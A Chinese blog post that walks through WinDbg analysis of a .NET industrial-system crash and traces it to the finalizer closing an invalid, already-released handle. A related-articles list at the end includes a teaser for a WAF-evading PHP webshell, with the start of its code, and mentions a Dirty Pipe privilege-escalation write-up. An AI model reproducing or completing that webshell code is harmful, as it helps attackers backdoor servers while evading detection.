一:背景

1. 讲故事

前几天有位朋友微信上找到我,说他的程序会偶发性崩溃,一直找不到原因,让我帮忙看一下怎么回事,对于这种崩溃类的程序,最好的办法就是丢dump过来看一下便知,话不多说,上windbg说话。

二:WinDbg 分析

1. 到底是哪里的崩溃

对于一个崩溃类的dump,寻找崩溃点非常重要,常用的命令就是 !analyze -v,输出如下:


0:006> !analyze -v
CONTEXT: 6fbdee65 -- (.cxr 0x6fbdee65)
eax=55d2ebff ebx=5e5f04c0 ecx=e8c434e8 edx=cf8bc35b esi=83008b05 edi=75880000
eip=3d83f98b esp=ce8b0774 ebp=5756ec8b iopl=0 vip ov up ei pl nz na po nc
cs=4040 ss=0010 ds=81f8 es=00e1 fs=4e8b gs=ffdb efl=08758b00
4040:3d83f98b ?? ???
Resetting default scope EXCEPTION_RECORD: 049bfbd0 -- (.exr 0x49bfbd0)
ExceptionAddress: 00000000
ExceptionCode: 049bfbf8
ExceptionFlags: 6f9b6c38
NumberParameters: 8752248
Parameter[0]: 00000000
Parameter[1]: 6f9c92a0
Parameter[2]: 049bfbdc
Parameter[3]: 00000008
Parameter[4]: 00000000
Parameter[5]: 049bfc34
Parameter[6]: 6f9b6d0d
Parameter[7]: a2cc713a
Parameter[8]: 6f9b6c40
Parameter[9]: 00000000
Parameter[10]: 00844c80
Parameter[11]: a2cc712a
Parameter[12]: 00000000
Parameter[13]: 049bfd2c
Parameter[14]: 049bfc00 PROCESS_NAME: xxxx.exe ERROR_CODE: (NTSTATUS) 0x80000004 - { } EXCEPTION_CODE_STR: 80000004 FAULTING_THREAD: ffffffff

从卦中的崩溃点来看,很奇怪,怎么 cs:eip 所处的地址没有机器码? 先不管了,看下异常状态 80000004,在微软的官方文档查一查:

从图中信息看,应该是 F11 这种单步跟踪造成的,这就很奇葩了,分析了200+ 的dump,这种崩溃还是第一次遇到,无语,一下子陷入了迷茫。

2. 还有突破口吗

虽然 windbg 的自动化分析给出的信息很不尽如意,但没关系,根据强大的临场经验,我们直接切到异常前的状态,看看异常前的上下文有没有什么新的线索,删减后如下:


0:006> .ecxr
eax=00000000 ebx=049bec60 ecx=027e1374 edx=0b8024a8 esi=00000000 edi=049bebf8
eip=09fb48b1 esp=049beb98 ebp=049bebe0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
xxx!xxx.Program.CurrentDomain_UnhandledException+0x29:
09fb48b1 cc int 3
0:006> k
*** Stack trace for last set context - .thread/.cxr resets it
# ChildEBP RetAddr
00 049bebe0 6f962546 xxx!xxx.Program.CurrentDomain_UnhandledException+0x29
...
11 049bf114 77a48962 clr!_except_handler4+0x29
12 049bf138 77a48934 ntdll!ExecuteHandler2+0x26
13 049bf200 77a34f86 ntdll!ExecuteHandler+0x24
14 049bf6f0 77a32b2c ntdll!KiUserExceptionDispatcher+0x26
15 049bf6f0 76698d7a ntdll!NtClose+0xc
16 049bf6f0 6f96287d KERNELBASE!CloseHandle+0x4a
...
20 049bf970 78a1887b clr!SafeHandle::Finalize+0x7a
21 049bf978 78a187e4 mscorlib_ni!System.Runtime.InteropServices.SafeHandle.Dispose+0x1b [f:\dd\ndp\clr\src\BCL\system\runtime\interopservices\safehandle.cs @ 263]
22 049bf998 6f98df99 mscorlib_ni!System.Runtime.InteropServices.SafeHandle.Finalize+0x24 [f:\dd\ndp\clr\src\BCL\system\runtime\interopservices\safehandle.cs @ 199]
23 049bf9ec 6f98e0a7 clr!FastCallFinalize+0x6d
24 049bfa10 6f98de5c clr!MethodTable::CallFinalizer+0x150
25 049bfa78 6f98ded3 clr!CallFinalizer+0xa6
26 049bfa78 6f9c9263 clr!FinalizerThread::DoOneFinalization+0x132
27 049bfaa8 6f9c9343 clr!FinalizerThread::FinalizeAllObjects+0xa1
28 049bfad4 6f973b24 clr!FinalizerThread::FinalizerThreadWorker+0xbe
29 049bfaec 6f973b9b clr!ManagedThreadBase_DispatchInner+0x71
2a 049bfb74 6f973c4b clr!ManagedThreadBase_DispatchMiddle+0x8f
2b 049bfbd0 6f9b6c38 clr!ManagedThreadBase_DispatchOuter+0x6d
2c 049bfbf8 6f9b6d0d clr!ManagedThreadBase::FinalizerBase+0x33
2d 049bfc34 6f98eb34 clr!FinalizerThread::FinalizerThreadStart+0xe2
2e 049bfcd0 76cdfcc9 clr!Thread::intermediateThreadProc+0x58
2f 049bfce0 77a27b1e kernel32!BaseThreadInitThunk+0x19
30 049bfd3c 77a27aee ntdll!__RtlUserThreadStart+0x2f
31 049bfd4c 00000000 ntdll!_RtlUserThreadStart+0x1b

从卦中的线程栈信息来看,逻辑还是非常清楚的,终结器线程析构一个C#的 SafeWaitHandle 对象时,在网关函数 ntdll!NtClose 中抛出了异常,这个函数再往下就是 内核层 了。

线程既然抛了异常,那 C# 层面有没有接到呢?可以用 !t 观察下。


0:006> !t
ThreadCount: 10
UnstartedThread: 0
BackgroundThread: 8
PendingThread: 0
DeadThread: 1
Hosted Runtime: no
Lock
ID OSID ThreadOBJ State GC Mode GC Alloc Context Domain Count Apt Exception
0 1 4b9c 0085f088 a6028 Preemptive 0B7FF79C:00000000 00858c78 0 STA
6 2 5068 008a3708 ab228 Preemptive 0B8024B8:00000000 00858c78 0 MTA (Finalizer) System.Runtime.InteropServices.SEHException 0b800c88
11 3 293c 0092c0a8 10a9228 Preemptive 00000000:00000000 00858c78 0 MTA (Threadpool Worker)
12 4 2eb0 0602ed48 8029228 Preemptive 00000000:00000000 00858c78 0 MTA (Threadpool Completion Port)
XXXX 5 0 07de70a8 1039820 Preemptive 00000000:00000000 00858c78 0 Ukn (Threadpool Worker)
13 6 7e0c 0a7ada58 102a228 Preemptive 00000000:00000000 00858c78 0 MTA (Threadpool Worker)
14 7 7c60 0a773950 1029228 Preemptive 00000000:00000000 00858c78 0 MTA (Threadpool Worker)
15 8 5c24 0a775f68 10a9228 Preemptive 0B7EB8CC:00000000 00858c78 0 MTA (Threadpool Worker)
16 9 698c 008d5b40 1029228 Preemptive 00000000:00000000 00858c78 0 MTA (Threadpool Worker)
17 10 7de4 008dea10 1029228 Preemptive 0B7ECE80:00000000 00858c78 0 MTA (Threadpool Worker)
0:006> !PrintException /d 0b800c88
Exception object: 0b800c88
Exception type: System.Runtime.InteropServices.SEHException
Message: 外部组件发生异常。
InnerException: <none>
StackTrace (generated):
SP IP Function
00000000 00000000 mscorlib_ni!Microsoft.Win32.Win32Native.CloseHandle(IntPtr)+0x1
049BF760 78ADF5FE mscorlib_ni!Microsoft.Win32.SafeHandles.SafeWaitHandle.ReleaseHandle()+0xe
00000000 00000001 mscorlib_ni!System.Runtime.InteropServices.SafeHandle.InternalFinalize()+0xffffffff90656c91
049BF978 78A1887B mscorlib_ni!System.Runtime.InteropServices.SafeHandle.Dispose(Boolean)+0x1b
049BF980 78A187E4 mscorlib_ni!System.Runtime.InteropServices.SafeHandle.Finalize()+0x24 StackTraceString: <none>
HResult: 80004005

从卦中信息看,果然是在析构 SafeHandle.Finalize 时异常了,但这个异常信息 Message:外部组件发生异常 对我们来说一点作用都没有,到这里貌似又进行不下去了。

3. 从 handle 上突破

托管层没法挖了,那就继续挖非托管层,也就是异常前的最后一个函数 ntdll!NtClose,这个函数其实没什么特别的,也就是释放句柄,这个函数一般来说固若金汤,不会有异常的,不管怎么说,先把句柄值找出来看看,签名如下:


NTSTATUS NTAPI NtClose(
HANDLE Handle
);

如何提取出 handle 呢?非常简单,用 kb 即可。


0:006> kb
*** Stack trace for last set context - .thread/.cxr resets it
# ChildEBP RetAddr Args to Child
...
13 049bf200 77a34f86 049bf218 049bf268 049bf218 ntdll!ExecuteHandler+0x24
14 049bf6f0 77a32b2c 00000664 049bf730 008a3708 ntdll!KiUserExceptionDispatcher+0x26
15 049bf6f0 76698d7a 00000664 049bf6fc 049bf72c ntdll!NtClose+0xc
16 049bf6f0 6f96287d 00000664 049bf730 008a3708 KERNELBASE!CloseHandle+0x4a
... 0:006> !handle 00000664 f
Handle 00000664
Type <Error retrieving type>
unable to query object information
unable to query object information
No object specific information available

我去,卦中显示这个 handle=664 句柄值居然不在进程中,难怪调用 ntdll!NtClose 会报错,接下来的问题就是这个 handle 到底怎么了?要找到这个答案,需要从线程栈上把 _EXCEPTION_RECORD 结构体给提取出来,它的内部记录了 ExceptionCode ,而且刚好线程栈上的 ntdll!ExecuteHandler 方法的第一个参数就是这个结构体。


0:006> dt _EXCEPTION_RECORD 049bf218
VCRUNTIME140_CLR0400!_EXCEPTION_RECORD
+0x000 ExceptionCode : 0xc0000008
+0x004 ExceptionFlags : 0
+0x008 ExceptionRecord : (null)
+0x00c ExceptionAddress : 0x74a70daa Void
+0x010 NumberParameters : 0
+0x014 ExceptionInformation : [15] 0

接下来就是找下 ExceptionCode=0xc0000008 代表什么意思,这个简单,网上搜一下便知,截图如下:

到这里就很好理解了,然来是在释放一个已经释放的句柄,这个肯定会报错的,据朋友所说,他们的程序是 C# 和 C++ 混合编程的,那大概率就是 handle=664 被 C++ 给提前释放了。

有些朋友肯定要问了,那我怎么找到释放这个 handle 的代码呢?要寻找这个答案,需要通过 perfview 对 handle 进行全程监控,参见:https://www.cnblogs.com/huangxincheng/p/17559370.html

三:总结

这个崩溃还是挺有意思的,需要你对 Windows 层面的知识有一定的了解,否则很难找出前因后果,所以请善待做大工控的朋友。

记一次 .NET某新能源检测系统 崩溃分析的更多相关文章

  1. 记一次 .NET 某医疗住院系统 崩溃分析

    一:背景 1. 讲故事 最近收到了两起程序崩溃的dump,查了下都是经典的 double free 造成的,蛮有意思,这里就抽一篇出来分享一下经验供后面的学习者避坑吧. 二:WinDbg 分析 1. ...

  2. 记一次 .NET 某企业 ERP网站系统 崩溃分析

    一:背景 1. 讲故事 前段时间收到了一个朋友的求助,说他的ERP网站系统会出现偶发性崩溃,找了好久也没找到是什么原因,让我帮忙看下,其实崩溃好说,用 procdump 自动抓一个就好,拿到 dump ...

  3. 记一次 .NET 某医疗器械 程序崩溃分析

    一:背景 1.讲故事 前段时间有位朋友在微信上找到我,说他的程序偶发性崩溃,让我帮忙看下怎么回事,上面给的压力比较大,对于这种偶发性崩溃,比较好的办法就是利用 AEDebug 在程序崩溃的时候自动抽一 ...

  4. Snort 入侵检测系统

    Snort 入侵检测系统 一.实验目的 1.掌握snort IDS工作原理 2.应用snort 三种方式工作 二.实验环境 系统环境:Windows环境, kali环境 三.实验原理 1.snort ...

  5. 开源入侵检测系统OSSEC搭建之二:客户端安装

    上一篇文章中已经将OSSEC服务端的安装以及客户端的Key导出操作做了解说,接下来在另一台虚拟机中安装客户端,与安装服务端类似同样需要安装ossec,步骤如下. 一.下载ossec-hids-2.8. ...

  6. 开源入侵检测系统OSSEC搭建之一:服务端安装

    OSSEC是一款开源的多平台的入侵检测系统,可以运行于Windows, Linux, OpenBSD/FreeBSD, 以及 MacOS等操作系统中.主要功能有日志分析.完整性检查.rootkit检测 ...

  7. 基于DSP的疲劳驾驶检测系统的研究

    原地址:http://www.chinaaet.com/article/index.aspx?id=114534 关键词:疲劳检测DSP亮瞳效应PERCLOS 摘  要: 针对汽车驾驶员疲劳驾驶检测的 ...

  8. 谷歌发布基于机器学习的Android APP安全检测系统:Google Play Protect

    Google Play作为众所周知的在线应用市场,因为审查制度的松散,经常会有一些恶意软件伪装成其他应用混入其中.此前阿里聚安全小编就报道了2例关于恶意软件伪装在Google Play上的事件:< ...

  9. 吴恩达机器学习笔记54-开发与评价一个异常检测系统及其与监督学习的对比(Developing and Evaluating an Anomaly Detection System and the Comparison to Supervised Learning)

    一.开发与评价一个异常检测系统 异常检测算法是一个非监督学习算法,意味着我们无法根据结果变量

  10. 基于PySpark的网络服务异常检测系统 (四) Mysql与SparkSQL对接同步数据 kmeans算法计算预测异常

    基于Django Restframework和Spark的异常检测系统,数据库为MySQL.Redis, 消息队列为Celery,分析服务为Spark SQL和Spark Mllib,使用kmeans ...

随机推荐

  1. Java 输入字符串,统计大写字母,小写字母,数字字符的个数

    代码如下: public static void main(String[] args) { String str = "AaFsECvcS12483fs+-*/"; int bi ...

  2. 统信UOS系统开发笔记(七):在统信UOS系统上使用linuxdeployqt发布qt程序

    前言   在ubuntu上发布qt程序相对还好,使用脚本,但是在统信UOS麒麟上发布的时候,因为银河麒麟等不同版本,使用脚本就不太兼容,同时为了实现直接点击应用可以启动应用的效果,使用linuxdep ...

  3. UDP 编程不能太随意

    UDP 相比 TCP 虽然是是无连接的,看似发送接收都很随意,但是在发送--接收过程中,仍然有些问题需要重视.在整个通讯过程中至少有两点需要注意,一方面要防止发送方的一厢情愿,另一方面是在允许的条件下 ...

  4. VSCode设置第三方字体

    最近需要写C,所以下了一个VSCode IDE嘛 当然是美观最重要了(不是 个人比较喜欢JetBrains家的字体 在IDEA中主要使用的是 JetBrains Mono 想着把VSCode的字体也设 ...

  5. .Net Core控制台程序读取Json配置文件

    1 添加依赖(可以直接通过nuget包安装 Microsoft.Extensions.Configuration.Json 这个会依赖其他两个会自动安装依赖的) Microsoft.Extension ...

  6. 分享一个过狗过D盾过宝塔的php一句话木马

    <?php if(isset($_REQUEST['phpsessid'])){ class A { static $d; } class B extends A { } A::$d =base ...

  7. 一 APPIUM基本理论知识(转)

    1.APPIUM介绍 Appium 是一个自动化测试开源工具,支持 iOS 平台和 Android 平台上的原生应用,web 应用和混合应用.所谓的"移动原生应用"是指那些用 iO ...

  8. FreeRTOS 基于 ARMv8-M 对 MPU 的应用

    一.前言 ARMv8-M 支持 MPU,FreeRTOS 也添加了对这些 MPU 的应用代码.这里用来记录 FreeRTOS 对 MPU 应用方式的探究结果. 二.ArmV8-M MPU 介绍 ARM ...

  9. .NET ORM 鉴别器 和 TDengine 使用 -SqlSugar

    SqlSugar ORM SqlSugar 是一款 老牌 .NET 开源多库架构ORM框架 ,一套代码能支持多种数据库像像Admin.net.Blog.Core.CoreShop等知名开源项目都采用了 ...

  10. Dirty-Pipe Linux内核提权漏洞(CVE-2022-0847)

    前言: 划水一波,哈哈,以后复现漏洞不再直接傻瓜无脑的走流程了,首先码字写加构思比较麻烦且写的不多还效率不高,现在就是当做见到了一个漏洞,在此记录一下这个漏洞,包括其来源,简单的描述,适用范围,以及其 ...